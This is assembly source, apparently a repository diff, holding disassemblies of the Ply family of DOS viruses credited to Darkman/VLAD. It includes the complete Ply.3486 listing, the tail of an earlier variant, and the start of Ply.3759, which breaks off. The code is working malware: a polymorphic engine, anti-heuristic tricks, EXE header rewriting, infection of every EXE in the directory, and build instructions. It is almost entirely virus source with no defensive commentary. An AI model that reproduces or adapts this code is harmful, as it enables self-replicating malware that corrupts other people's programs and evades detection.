rep movsb ; Move three-bytes block to offset...
nop
mov al,90h ; NOP (opcode 90h)
nop
mov ah,al ; NOP; NOP (opcode 90h,90h)
nop
mov [si-03h],ax ; Store NOP; NOP
in al,40h ; AL = 8-bit random number
nop
mov [si-01h],al ; Store 8-bit random number
in al,40h ; AL = 8-bit random number
nop
mov [si],al ; Store 8-bit random number
nop
call_exit_:
jmp test_loop
test_create_:
cmp al,04h ; Create a JMP imm16 to the opcode?
nop
jne delete_jmp ; Not equal? Jump to delete_jmp
nop
mov ax,[si] ; AX = first word of three-bytes b...
nop
cmp al,90h ; NOP (opcode 90h)?
nop
jne create_jmp ; Not equal? Jump to create_jmp
nop
mov al,ah ; AL = second byte of three-bytes ...
nop
create_jmp:
cmp al,0e9h ; JMP imm16 (opcode 0e9h)?
nop
je jmp_exit ; Equal? Jump to jmp_exit
nop
cmp al,0e8h ; CALL imm16 (opcode 0e8h)
nop
je jmp_exit ; Equal? Jump to jmp_exit
nop
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
nop
je jmp_exit ; Equal? Jump to jmp_exit
nop
and al,11110000b
nop
cmp al,70h ; Jump on condition?
nop
je jmp_exit ; Equal? Jump to jmp_exit
nop
call get_poly_off
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
mov al,0e9h ; JMP imm16 (opcode 0e9h)
nop
stosb ; Store JMP imm16
nop
nop
mov ax,di ; AX = random offset of polymorphi...
nop
sub ax,si ; Subtract offset of current three...
nop
neg ax ; Negate AX
nop
sub ax,02h ; Subtract two from 16-bit immediate
stosw ; Store 16-bit immediate
nop
nop
mov al,0e9h ; JMP imm16 (opcode 0e9h)
nop
lea bx,poly_buffer ; BX = offset of poly_buffer
add bx,bp ; Add delta offset
nop
mov [bx],al ; Create a JMP imm16 to the opcode
nop
mov ax,di ; AX = random offset of polymorphi...
nop
sub ax,si ; Subtract offset of current three...
nop
sub ax,06h ; Subtract size of six-bytes block
mov [bx+01h],ax ; Store 16-bit immediate
mov di,si ; SI = offset of current three-byt...
nop
mov ax,03h ; AX = size of opcode CALL imm16
sub di,ax ; Subtract size of opcode CALL imm...
nop
mov si,bx ; SI = offset of poly_buffer
nop
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
jmp_exit:
jmp test_loop
nop
delete_jmp:
cmp al,05h ; Delete previously created JMP im...
nop
jne test_loop ; Not equal? Jump to test_loop
nop
mov al,[si] ; AL = first byte of three-bytes b...
nop
cmp al,0e9h ; JMP imm16 (opcode 0e9h)?
nop
jne jmp_exit_ ; Not equal? Jump to jmp_exit_
nop
mov ax,[si+01h] ; AX = 16-bit immediate
add ax,03h ; Add size of opcode CALL imm16
mov di,si ; DI = offset of current three-byt...
nop
add si,ax ; Add 16-bit immediate
nop
lea bx,poly_blocks ; BX = offset of poly_blocks
add bx,bp ; Add delta offset
nop
cmp si,bx ; 16-bit immediate within polymorp...
nop
jb jmp_exit_ ; Below? Jump to jmp_exit_
nop
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
mov al,90h ; NOP (opcode 90h)
nop
mov ah,al ; NOP; NOP (opcode 90h,90h)
nop
mov [si-03h],ax ; Store NOP; NOP
in al,40h ; AL = 8-bit random number
nop
mov [si-01h],al ; Store 8-bit random number
in al,40h ; AL = 8-bit random number
nop
mov [si],al ; Store 8-bit random number
nop
jmp_exit_:
jmp test_loop
nop
test_loop:
pop si ; Load SI from stack
nop
nop
pop cx ; Load CX from stack
nop
nop
mov ax,03h ; AX = size of block
add si,ax ; SI = offset of next three-byte b...
nop
dec cx ; Decrease CX
nop
nop
jz poly_exit ; Zero? Jump to poly_exit
nop
jmp poly_loop
poly_exit:
jmp prepare_exit
nop
get_poly_off proc near ; Get random offset of polymorphic...
in al,40h ; AL = 8-bit random number
nop
mov ah,al ; AH = " " "
nop
in al,40h ; AL = 8-bit random number
nop
mov di,ax ; DI = 16-bit random number
nop
mov ax,(poly_end-poly_begin)/03h
get_rnd_num:
sub di,ax ; Subtract number of polymorphic b...
nop
cmp di,ax ; Too large a 16-bit random number?
nop
jae get_rnd_num ; Above or equal? Jump to get_rnd_num
nop
mov ax,di ; AX = 16-bit random number within...
nop
add di,ax ; Add number of polymorphic blocks
nop
add di,ax ; " " " " "
nop
add di,ax ; " " " " "
nop
add di,ax ; " " " " "
nop
add di,ax ; " " " " "
nop
lea ax,poly_blocks ; AX = offset of poly_blocks
add di,ax ; Add offset of poly_blocks to ran...
nop
add di,bp ; Add delta offset
nop
mov al,90h ; NOP (opcode 90h)
nop
mov ah,al ; NOP; NOP (opcode 90h,90h)
nop
cmp [di],ax ; Offset already in use?
nop
jne get_poly_off ; Not equal? Jump to get_poly_off
nop
ret ; Return!
nop
nop
endp
prepare_exit:
lea si,file_header ; SI = offset of file_header
add si,bp ; Add delta offset
nop
lea di,instruct_ptr ; SI = offset of instruct_ptr
add di,bp ; Add delta offset
nop
mov ax,[si+14h] ; AX = instruction pointer
stosw ; Store instruction pointer
nop
nop
mov ax,[si+16h] ; AX = code segment
stosw ; Store code segment
nop
nop
mov ax,[si+0eh] ; AX = stack segment
stosw ; Store stack segment
nop
nop
mov ax,[si+10h] ; AX = stack pointer
stosw ; Store stack pointer
nop
nop
mov ah,1ah ; Set disk transfer area address
nop
lea dx,dta ; DX = offset of dta
add dx,bp ; Add delta offset
nop
mov di,dx ; DI = offset of dta
nop
int 21h
nop
mov ah,4eh ; Find first matching file
nop
mov cx,0000000000000111b
lea dx,file_specifi ; DX = offset of file_specifi
add dx,bp ; Add delta offset
nop
find_next:
int 21h
nop
jnc open_file ; No error? Jump to open_file
nop
jmp virus_exit
open_file:
mov ax,3d00h ; Open file (read)
lea dx,filename ; DX = offset of filename
add dx,bp ; Add delta offset
nop
int 21h
nop
xchg bx,ax ; BX = file handle
nop
nop
mov ah,3fh ; Read from file
nop
mov dx,si ; DX = offset of file_header
nop
mov cx,1ah ; Read twenty-six bytes
int 21h
nop
mov ah,3eh ; Close file
nop
int 21h
nop
mov ax,'ZM' ; EXE signature
cmp [si],ax ; Found EXE signature?
nop
je examine_file ; Equal? Jump to examine_file
nop
xchg ah,al ; Exchange EXE signature
nop
cmp [si],ax ; Found EXE signature?
nop
je examine_file ; Equal? Jump to examine_file
nop
jmp_find_nxt:
mov ah,4fh ; Find next matching file
nop
jmp find_next
nop
examine_file:
mov ax,2020h
cmp [si+12h],ax ; Already infected?
je jmp_find_nxt ; Equal? Jump to jmp_find_nxt
nop
mov ax,4301h ; Set file attributes
xor cx,cx ; CX = new file attributes
nop
lea dx,filename ; DX = offset of filename
add dx,bp ; Add delta offset
nop
int 21h
nop
mov ax,3d02h ; Open file (read/write)
lea dx,filename ; DX = offset of filename
add dx,bp ; Add delta offset
nop
int 21h
nop
xchg bx,ax ; BX = file handle
nop
nop
mov ax,4202h ; Set current file position (EOF)
xor cx,cx ; Zero CX
nop
xor dx,dx ; Zero DX
nop
int 21h
nop
mov ah,40h ; Write to file
nop
mov cx,(code_end-code_begin)
lea dx,code_begin ; DX = offset of code_begin
add dx,bp ; Add delta offset
nop
int 21h
nop
mov ax,[si+08h] ; AX = header size in paragraphs
mov cl,04h ; Multiply by paragraphs
nop
shl ax,cl ; AX = header size
nop
push bx ; Save BX at stack
nop
nop
xchg ax,bx ; BX = header size
nop
nop
mov ax,[di+1ah] ; AX = low-order word of filesize
mov dx,[di+1ch] ; DX = high-order word of filesize
push ax ; Save AX at stack
nop
nop
push dx ; Save DX at stack
nop
nop
sub ax,bx ; Subtract header size from filesize
nop
sbb dx,00h ; Convert to 32-bit
mov cx,10h
div cx ; Divide by paragraphs
nop
mov [si+14h],dx ; Store instruction pointer
mov [si+16h],ax ; Store code segment
lea bx,delta_offset ; BX = offset of delta_offset
add bx,bp ; Add delta offset
nop
mov [bx],dx ; Store delta offset
nop
inc ax ; Increase AX
nop
nop
mov [si+0eh],ax ; Store stack segment
mov ax,(code_end-code_begin+100h)
add dx,ax ; DX = stack pointer
nop
mov [si+10h],dx ; Store stack pointer
mov ax,2020h ; AX = infection mark
mov [si+12h],ax ; Store infection mark
pop dx ; Load DX from stack
nop
nop
pop ax ; Load AX from stack
nop
nop
add ax,(code_end-code_begin)
adc dx,00h ; Convert to 32-bit
mov cl,09h
nop
push ax ; Save AX at stack
nop
nop
shr ax,cl ; Multiply by pages
nop
ror dx,cl ; " " "
nop
stc ; Set carry flag
nop
nop
adc dx,ax ; DX = total number of 512-bytes p...
nop
pop ax ; Load AX from stack
nop
nop
and ah,00000001b
mov [si+04h],dx ; Store totalt number of 512-bytes...
mov [si+02h],ax ; Number of bytes in last 512-byte...
pop bx ; Load BX from stack
nop
nop
mov ax,4201h ; Set current file position (CFP)
mov cx,-01h
mov dx,-(code_end-delta_offset)
int 21h
nop
mov ah,40h ; Write to file
nop
mov cx,02h ; Write two bytes
lea dx,delta_offset ; DX = offset of delta_offset
add dx,bp ; Add delta offset
nop
int 21h
nop
mov ax,4200h ; Set current file position (SOF)
xor cx,cx ; Zero CX
nop
xor dx,dx ; Zero DX
nop
int 21h
nop
mov ah,40h ; Write to file
nop
mov cx,1ah ; Write twenty-six bytes
mov dx,si ; DX = offset of file_header
nop
int 21h
nop
mov ax,5701h ; Set file's date and time
mov cx,[di+16h] ; CX = file time
mov dx,[di+18h] ; DX = file date
int 21h
nop
mov ah,3eh ; Close file
nop
int 21h
nop
mov ax,4301h ; Set file attributes
mov ch,00h ; Zero CH
nop
mov cl,[di+15h] ; CL = file attribute
lea dx,filename ; DX = offset of filename
add dx,bp ; Add delta offset
nop
int 21h
nop
mov ah,4fh ; Find next matching file
nop
jmp find_next
virus_exit:
mov ah,62h ; Get current PSP address
nop
int 21h
nop
mov es,bx ; ES = segment of PSP for current ...
nop
mov ax,bx ; AX = " " " " " "
nop
add ax,10h ; AX = segment of beginning of code
lea si,instruct_ptr ; SI = offset of instruct_ptr
add si,bp ; Add delta offset
nop
add [si+02h],ax ; Add segment of beginning of code...
add ax,[si+04h] ; Add original stack segment to se...
cli ; Clear interrupt-enable flag
nop
nop
poly_end:
mov sp,[si+06h] ; SP = stack pointer
mov ss,ax ; SS = stack segment
sti ; Set interrupt-enable flag
mov ds,bx ; DS = segment of PSP for current ...
db 0eah ; JMP imm32 (opcode 0eah)
instruct_ptr dw ? ; Instruction pointer
code_seg dw ? ; Code segment
stack_seg dw ? ; Stack segment
stack_ptr dw ? ; Stack pointer
db 00h
file_specifi db '????????.EXE',00h ; File specification
db 00h,00h
file_header dw 0ah dup(?),00h,0fff0h,?
db 00h
poly_buffer db 03h dup(?) ; Polymorphic buffer
poly_blocks db (poly_end-poly_begin)/03h dup(90h,90h,04h dup(?))
code_end:
dta:
db 15h dup(?) ; Used by DOS for find next-process
file_attr db ? ; File attribute
file_time dw ? ; File time
file_date dw ? ; File date
filesize dd ? ; Filesize
filename db 0dh dup(?) ; Filename
data_end:
end code_begin
@@ -0,0 +1,850 @@
comment *
Ply.3486
Disassembly by
Darkman/VLAD
Ply.3486 is a 3486 bytes parasitic direct action EXE virus. Infects every
file in current directory, when executed, by appending the virus to the
infected file. Ply.3486 has anti-heuristic techniques and is polymorphic in
file using its internal polymorphic engine.
To compile Ply.3486 with Turbo Assembler v 4.0 type:
TASM /m PLY_3486.ASM
TLINK /t /x PLY_3486.OBJ
*
.model tiny
.code
org 100h ; Origin of Ply.3486
code_begin:
delta_offset equ $+01h ; Delta offset
mov bp,100h ; BP = delta offset
poly_begin:
mov ax,cs ; AX = code segment
nop
mov ds,ax ; DS = " "
nop
mov es,ax ; ES = " "
nop
mov ax,100h ; AX = offset of beginning of code
sub bp,ax ; Subtract offset of beginning of ...
nop
sti ; Set interrupt-enable flag
nop
nop
cld ; Clear direction flag
nop
nop
lea si,poly_begin ; SI = offset of poly_begin
add si,bp ; Add delta offset
nop
mov cx,(poly_end-poly_begin)/03h
poly_loop:
in al,40h ; AL = 8-bit random number
nop
and al,00000111b ; AL = random number between zero ...
nop
push cx ; Save CX at stack
nop
nop
push si ; Save SI at stack
nop
nop
cmp al,00h ; Prepend a NOP to the opcode?
nop
jne test_append ; Not equal? Jump to test_append
nop
mov al,[si] ; AL = first byte of three-bytes b...
nop
cmp al,90h ; NOP (opcode 90h)?
nop
je dont_poly ; Equal? Jump to dont_poly
nop
mov al,[si+02h] ; AL = third byte of three-byte block
cmp al,90h ; NOP (opcode 90h)
nop
jne dont_poly ; Not equal? Jump to dont_poly
nop
mov ax,[si] ; AX = first word of three-bytes b...
nop
lea bx,poly_buffer ; BX = offset of poly_buffer
add bx,bp ; Add delta offset
nop
mov [bx+01h],ax ; Store first word of three-bytes ...
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
nop
je dec_imm8 ; Equal? Jump to dec_imm8
nop
and al,11110000b
nop
cmp al,70h ; Jump on condition?
nop
jne prepend_nop ; Not equal? Jump to prepend_nop
nop
dec_imm8:
dec byte ptr [bx+02h] ; Decrease 8-bit immediate
prepend_nop:
mov al,90h ; NOP (opcode 90h)
nop
mov [bx],al ; Prepend a NOP to the opcode
nop
mov di,si ; DI = offset of current three-byt...
nop
mov si,bx ; SI = offset of poly_buffer
nop
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
dont_poly:
jmp test_loop
test_append:
cmp al,01h ; Append a NOP to the opcode?
nop
jne test_create ; Not equal? Jump to test_create
nop
mov al,[si] ; AL = first byte of three-bytes b...
nop
cmp al,90h ; NOP (opcode 90h)?
nop
jne dont_poly_ ; Not equal? Jump to dont_poly_
nop
mov ax,[si+01h] ; AX = second word of three-bytes ...
lea bx,poly_buffer ; BX = offset of poly_buffer
add bx,bp ; Add delta offset
nop
mov [bx],ax ; Store second word of three-bytes...
nop
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
nop
je dec_imm8_ ; Equal? Jump to dec_imm8_
nop
and al,11110000b
nop
cmp al,70h ; Jump on condition?
nop
jne append_nop ; Not equal? Jump to append_nop
nop
dec_imm8_:
inc byte ptr [bx+01h] ; Decrease 8-bit immediate
append_nop:
mov al,90h ; NOP (opcode 90h)
nop
mov [bx+02h],al ; Append a NOP to the opcode
mov di,si ; DI = offset of current three-byt...
nop
mov si,bx ; SI = offset of poly_buffer
nop
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
dont_poly_:
jmp test_loop
test_create:
cmp al,02h ; Create a CALL imm16 to the opcode?
nop
jne delete_call ; Not equal? Jump to delete_call
nop
mov ax,[si] ; AX = first word of three-bytes b...
nop
cmp al,90h ; NOP (opcode 90h)?
nop
jne create_call ; Not equal? Jump to create_call
nop
mov al,ah ; AL = second byte of three-bytes ...
nop
create_call:
cmp al,0e9h ; JMP imm16 (opcode 0e9h)
nop
je call_exit ; Equal? Jump to call_exit
nop
cmp al,0e8h ; CALL imm16 (opcode 0e8h)
nop
je call_exit ; Equal? Jump to call_exit
nop
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
nop
je call_exit ; Equal? Jump to call_exit
nop
cmp al,0c3h ; RET (opcode 0c3h)
nop
je call_exit ; Equal? Jump to call_exit
nop
and al,11110000b
nop
cmp al,70h ; Jump on condition?
nop
je call_exit ; Equal? Jump to call_exit
nop
cmp al,50h ; PUSH reg16/POP reg16?
nop
je call_exit ; Equal? Jump to call_exit
nop
call get_poly_off
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
mov al,0c3h ; RET (opcode 0c3h)
nop
stosb ; Store RET
nop
nop
in al,40h ; AL = 8-bit random number
nop
stosb ; Store 8-bit random number
nop
nop
in al,40h ; AL = 8-bit random number
nop
stosb ; Store 8-bit random number
nop
nop
mov al,0e8h ; CALL imm16 (opcode 0e8h)
nop
lea bx,poly_buffer ; BX = offset of poly_buffer
add bx,bp ; Add delta offset
nop
mov [bx],al ; Create a CALL imm16 to the opcode
nop
mov ax,di ; AX = random offset of polymorphi...
nop
sub ax,si ; Subtract offset of current three...
nop
sub ax,06h ; Subtract size of six-bytes block
mov [bx+01h],ax ; Store 16-bit immediate
mov di,si ; SI = offset of current three-byt...
nop
mov ax,03h ; AX = size of opcode CALL imm16
sub di,ax ; Subtract size of opcode CALL imm...
nop
mov si,bx ; SI = offset of poly_buffer
nop
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
call_exit:
jmp test_loop
delete_call:
cmp al,03h ; Delete previously created CALL i...
nop
jne test_create_ ; Not equal? Jump to test_create_
nop
mov al,[si] ; AL = first byte of three-bytes b...
nop
cmp al,0e8h ; CALL imm16 (opcode 0e8h)?
nop
jne call_exit_ ; Not equal? Jump to call_exit_
nop
mov ax,[si+01h] ; AX = 16-bit immediate
add ax,03h ; Add size of opcode CALL imm16
mov di,si ; DI = offset of current three-byt...
nop
add si,ax ; Add 16-bit immediate
nop
lea bx,poly_blocks ; BX = offset of poly_blocks
add bx,bp ; Add delta offset
nop
cmp si,bx ; 16-bit immediate within polymorp...
nop
jb call_exit_ ; Below? Jump to call_exit_
nop
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
mov al,90h ; NOP (opcode 90h)
nop
mov ah,al ; NOP; NOP (opcode 90h,90h)
nop
mov [si-03h],ax ; Store NOP; NOP
in al,40h ; AL = 8-bit random number
nop
mov [si-01h],al ; Store 8-bit random number
in al,40h ; AL = 8-bit random number
nop
mov [si],al ; Store 8-bit random number
nop
call_exit_:
jmp test_loop
test_create_:
cmp al,04h ; Create a JMP imm16 to the opcode?
nop
jne delete_jmp ; Not equal? Jump to delete_jmp
nop
mov ax,[si] ; AX = first word of three-bytes b...
nop
cmp al,90h ; NOP (opcode 90h)?
nop
jne create_jmp ; Not equal? Jump to create_jmp
nop
mov al,ah ; AL = second byte of three-bytes ...
nop
create_jmp:
cmp al,0e9h ; JMP imm16 (opcode 0e9h)?
nop
je jmp_exit ; Equal? Jump to jmp_exit
nop
cmp al,0e8h ; CALL imm16 (opcode 0e8h)
nop
je jmp_exit ; Equal? Jump to jmp_exit
nop
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
nop
je jmp_exit ; Equal? Jump to jmp_exit
nop
and al,11110000b
nop
cmp al,70h ; Jump on condition?
nop
je jmp_exit ; Equal? Jump to jmp_exit
nop
call get_poly_off
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
mov al,0e9h ; JMP imm16 (opcode 0e9h)
nop
stosb ; Store JMP imm16
nop
nop
mov ax,di ; AX = random offset of polymorphi...
nop
sub ax,si ; Subtract offset of current three...
nop
neg ax ; Negate AX
nop
sub ax,02h ; Subtract two from 16-bit immediate
stosw ; Store 16-bit immediate
nop
nop
mov al,0e9h ; JMP imm16 (opcode 0e9h)
nop
lea bx,poly_buffer ; BX = offset of poly_buffer
add bx,bp ; Add delta offset
nop
mov [bx],al ; Create a JMP imm16 to the opcode
nop
mov ax,di ; AX = random offset of polymorphi...
nop
sub ax,si ; Subtract offset of current three...
nop
sub ax,06h ; Subtract size of six-bytes block
mov [bx+01h],ax ; Store 16-bit immediate
mov di,si ; SI = offset of current three-byt...
nop
mov ax,03h ; AX = size of opcode CALL imm16
sub di,ax ; Subtract size of opcode CALL imm...
nop
mov si,bx ; SI = offset of poly_buffer
nop
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
jmp_exit:
jmp test_loop
nop
delete_jmp:
cmp al,05h ; Delete previously created JMP im...
nop
jne test_loop ; Not equal? Jump to test_loop
nop
mov al,[si] ; AL = first byte of three-bytes b...
nop
cmp al,0e9h ; JMP imm16 (opcode 0e9h)?
nop
jne jmp_exit_ ; Not equal? Jump to jmp_exit_
nop
mov ax,[si+01h] ; AX = 16-bit immediate
add ax,03h ; Add size of opcode CALL imm16
mov di,si ; DI = offset of current three-byt...
nop
add si,ax ; Add 16-bit immediate
nop
lea bx,poly_blocks ; BX = offset of poly_blocks
add bx,bp ; Add delta offset
nop
cmp si,bx ; 16-bit immediate within polymorp...
nop
jb jmp_exit_ ; Below? Jump to jmp_exit_
nop
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
mov al,90h ; NOP (opcode 90h)
nop
mov ah,al ; NOP; NOP (opcode 90h,90h)
nop
mov [si-03h],ax ; Store NOP; NOP
in al,40h ; AL = 8-bit random number
nop
mov [si-01h],al ; Store 8-bit random number
in al,40h ; AL = 8-bit random number
nop
mov [si],al ; Store 8-bit random number
nop
jmp_exit_:
jmp test_loop
nop
test_loop:
pop si ; Load SI from stack
nop
nop
pop cx ; Load CX from stack
nop
nop
mov ax,03h ; AX = size of block
add si,ax ; SI = offset of next three-byte b...
nop
dec cx ; Decrease CX
nop
nop
jz poly_exit ; Zero? Jump to poly_exit
nop
jmp poly_loop
poly_exit:
jmp prepare_exit
nop
get_poly_off proc near ; Get random offset of polymorphic...
in al,40h ; AL = 8-bit random number
nop
mov ah,al ; AH = " " "
nop
in al,40h ; AL = 8-bit random number
nop
mov di,ax ; DI = 16-bit random number
nop
mov ax,(poly_end-poly_begin)/03h
get_rnd_num:
sub di,ax ; Subtract number of polymorphic b...
nop
cmp di,ax ; Too large a 16-bit random number?
nop
jae get_rnd_num ; Above or equal? Jump to get_rnd_num
nop
mov ax,di ; AX = 16-bit random number within...
nop
add di,ax ; Add number of polymorphic blocks
nop
add di,ax ; " " " " "
nop
add di,ax ; " " " " "
nop
add di,ax ; " " " " "
nop
add di,ax ; " " " " "
nop
lea ax,poly_blocks ; AX = offset of poly_blocks
add di,ax ; Add offset of poly_blocks to ran...
nop
add di,bp ; Add delta offset
nop
mov al,90h ; NOP (opcode 90h)
nop
mov ah,al ; NOP; NOP (opcode 90h,90h)
nop
cmp [di],ax ; Offset already in use?
nop
jne get_poly_off ; Not equal? Jump to get_poly_off
nop
ret ; Return!
nop
nop
endp
prepare_exit:
lea si,file_header ; SI = offset of file_header
add si,bp ; Add delta offset
nop
lea di,instruct_ptr ; SI = offset of instruct_ptr
add di,bp ; Add delta offset
nop
mov ax,[si+14h] ; AX = instruction pointer
stosw ; Store instruction pointer
nop
nop
mov ax,[si+16h] ; AX = code segment
stosw ; Store code segment
nop
nop
mov ax,[si+0eh] ; AX = stack segment
stosw ; Store stack segment
nop
nop
mov ax,[si+10h] ; AX = stack pointer
stosw ; Store stack pointer
nop
nop
mov ah,1ah ; Set disk transfer area address
nop
lea dx,dta ; DX = offset of dta
add dx,bp ; Add delta offset
nop
mov di,dx ; DI = offset of dta
nop
int 21h
nop
mov ax,(4e00h+2020h) ; Find first matching file
sub ax,2020h
mov cx,0000000000000111b
lea dx,file_specifi ; DX = offset of file_specifi
add dx,bp ; Add delta offset
nop
mov bx,dx ; BX = offset of file_specifi
nop
mov al,'E'
nop
mov [bx+02h],al ; Correct the file specification
find_next:
int 21h
nop
jnc open_file ; No error? Jump to open_file
nop
jmp virus_exit
open_file:
mov al,'V'
nop
mov [bx+02h],al ; Correct the file specification
mov ax,3d00h ; Open file (read)
lea dx,filename ; DX = offset of filename
add dx,bp ; Add delta offset
nop
int 21h
nop
xchg bx,ax ; BX = file handle
nop
nop
mov ah,3fh ; Read from file
nop
mov dx,si ; DX = offset of file_header
nop
mov cx,1ah ; Read twenty-six bytes
int 21h
nop
mov ah,3eh ; Close file
nop
int 21h
nop
mov ax,('ZM'+2020h) ; EXE signature
sub ax,2020h
cmp [si],ax ; Found EXE signature?
nop
je examine_file ; Equal? Jump to examine_file
nop
xchg ah,al ; Exchange EXE signature
nop
cmp [si],ax ; Found EXE signature?
nop
je examine_file ; Equal? Jump to examine_file
nop
jmp_find_nxt:
mov ax,(4f00h+2020h) ; Find next matching file
sub ax,2020h
jmp find_next
nop
examine_file:
mov ax,2020h
cmp [si+12h],ax ; Already infected?
je jmp_find_nxt ; Equal? Jump to jmp_find_nxt
nop
mov ax,(4301h+2020h) ; Set file attributes
sub ax,2020h
xor cx,cx ; CX = new file attributes
nop
lea dx,filename ; DX = offset of filename
add dx,bp ; Add delta offset
nop
int 21h
nop
mov ax,(3d02h+2020h) ; Open file (read/write)
sub ax,2020h
lea dx,filename ; DX = offset of filename
add dx,bp ; Add delta offset
nop
int 21h
nop
xchg bx,ax ; BX = file handle
nop
nop
mov ax,4202h ; Set current file position (EOF)
xor cx,cx ; Zero CX
nop
xor dx,dx ; Zero DX
nop
int 21h
nop
mov ax,(4000h+2020h) ; Write to file
sub ax,2020h
mov cx,(code_end-code_begin)
lea dx,code_begin ; DX = offset of code_begin
add dx,bp ; Add delta offset
nop
int 21h
nop
mov ax,[si+08h] ; AX = header size in paragraphs
mov cl,04h ; Multiply by paragraphs
nop
shl ax,cl ; AX = header size
nop
push bx ; Save BX at stack
nop
nop
xchg ax,bx ; BX = header size
nop
nop
mov ax,[di+1ah] ; AX = low-order word of filesize
mov dx,[di+1ch] ; DX = high-order word of filesize
push ax ; Save AX at stack
nop
nop
push dx ; Save DX at stack
nop
nop
sub ax,bx ; Subtract header size from filesize
nop
sbb dx,00h ; Convert to 32-bit
mov cx,10h
div cx ; Divide by paragraphs
nop
mov [si+14h],dx ; Store instruction pointer
mov [si+16h],ax ; Store code segment
lea bx,delta_offset ; BX = offset of delta_offset
add bx,bp ; Add delta offset
nop
mov [bx],dx ; Store delta offset
nop
inc ax ; Increase AX
nop
nop
mov [si+0eh],ax ; Store stack segment
mov ax,(code_end-code_begin+100h)
add dx,ax ; DX = stack pointer
nop
mov [si+10h],dx ; Store stack pointer
mov ax,2020h ; AX = infection mark
mov [si+12h],ax ; Store infection mark
pop dx ; Load DX from stack
nop
nop
pop ax ; Load AX from stack
nop
nop
add ax,(code_end-code_begin)
adc dx,00h ; Convert to 32-bit
mov cl,09h
nop
push ax ; Save AX at stack
nop
nop
shr ax,cl ; Multiply by pages
nop
ror dx,cl ; " " "
nop
stc ; Set carry flag
nop
nop
adc dx,ax ; DX = total number of 512-bytes p...
nop
pop ax ; Load AX from stack
nop
nop
and ah,00000001b
mov [si+04h],dx ; Store totalt number of 512-bytes...
mov [si+02h],ax ; Number of bytes in last 512-byte...
pop bx ; Load BX from stack
nop
nop
mov ax,4201h ; Set current file position (CFP)
mov cx,-01h
mov dx,-(code_end-delta_offset)
int 21h
nop
mov ax,(4000h+2020h) ; Write to file
sub ax,2020h
mov cx,02h ; Write two bytes
lea dx,delta_offset ; DX = offset of delta_offset
add dx,bp ; Add delta offset
nop
int 21h
nop
mov ax,4200h ; Set current file position (SOF)
xor cx,cx ; Zero CX
nop
xor dx,dx ; Zero DX
nop
int 21h
nop
mov ax,(4000h+2020h) ; Write to file
sub ax,2020h
mov cx,1ah ; Write twenty-six bytes
mov dx,si ; DX = offset of file_header
nop
int 21h
nop
mov ax,(5701h-2020h) ; Set file's date and time
add ax,2020h
mov cx,[di+16h] ; CX = file time
mov dx,[di+18h] ; DX = file date
int 21h
nop
mov ah,3eh ; Close file
nop
int 21h
nop
mov ax,(4301h+2020h) ; Set file attributes
sub ax,2020h
mov ch,00h ; Zero CH
nop
mov cl,[di+15h] ; CL = file attribute
lea dx,filename ; DX = offset of filename
add dx,bp ; Add delta offset
nop
int 21h
nop
mov ah,4fh ; Find next matching file
nop
jmp find_next
virus_exit:
mov ah,62h ; Get current PSP address
nop
int 21h
nop
mov es,bx ; ES = segment of PSP for current ...
nop
mov ax,bx ; AX = " " " " " "
nop
add ax,10h ; AX = segment of beginning of code
lea si,instruct_ptr ; SI = offset of instruct_ptr
add si,bp ; Add delta offset
nop
add [si+02h],ax ; Add segment of beginning of code...
add ax,[si+04h] ; Add original stack segment to se...
cli ; Clear interrupt-enable flag
nop
nop
poly_end:
mov sp,[si+06h] ; SP = stack pointer
mov ss,ax ; SS = stack segment
sti ; Set interrupt-enable flag
mov ds,bx ; DS = segment of PSP for current ...
db 0eah ; JMP imm32 (opcode 0eah)
instruct_ptr dw ? ; Instruction pointer
code_seg dw ? ; Code segment
stack_seg dw ? ; Stack segment
stack_ptr dw ? ; Stack pointer
db 00h
file_specifi db '*.VXE',00h ; File specification
file_header dw 0ah dup(?),00h,0fff0h,?
db 00h
poly_buffer db 03h dup(?) ; Polymorphic buffer
poly_blocks db (poly_end-poly_begin)/03h dup(90h,90h,04h dup(?))
code_end:
dta:
db 15h dup(?) ; Used by DOS for find next-process
file_attr db ? ; File attribute
file_time dw ? ; File time
file_date dw ? ; File date
filesize dd ? ; Filesize
filename db 0dh dup(?) ; Filename
data_end:
end code_begin
@@ -0,0 +1,924 @@
comment *
Ply.3759
Disassembly by
Darkman/VLAD
Ply.3759 is a 3759 bytes parasitic direct action EXE virus. Infects every
file in current directory, when executed, by appending the virus to the
infected file. Ply.3759 has an error handler, anti-heuristic techniques and
is polymorphic in file using its internal polymorphic engine.
To compile Ply.3759 with Turbo Assembler v 4.0 type:
TASM /m PLY_3759.ASM
TLINK /t /x PLY_3759.OBJ
*
.model tiny
.code
org 100h ; Origin of Ply.3759
code_begin:
delta_offset equ $+01h ; Delta offset
mov bp,100h ; BP = delta offset
poly_begin:
mov ax,cs ; AX = code segment
nop
mov ds,ax ; DS = " "
nop
mov es,ax ; ES = " "
nop
mov ax,100h ; AX = offset of beginning of code
sub bp,ax ; Subtract offset of beginning of ...
nop
sti ; Set interrupt-enable flag
nop
nop
cld ; Clear direction flag
nop
nop
lea si,poly_begin ; SI = offset of poly_begin
add si,bp ; Add delta offset
nop
mov cx,(poly_end-poly_begin)/03h
poly_loop:
in al,40h ; AL = 8-bit random number
nop
and al,00000111b ; AL = random number between zero ...
nop
push cx ; Save CX at stack
nop
nop
push si ; Save SI at stack
nop
nop
cmp al,00h ; Prepend a NOP to the opcode?
nop
jne test_append ; Not equal? Jump to test_append
nop
mov al,[si] ; AL = first byte of three-bytes b...
nop
cmp al,90h ; NOP (opcode 90h)?
nop
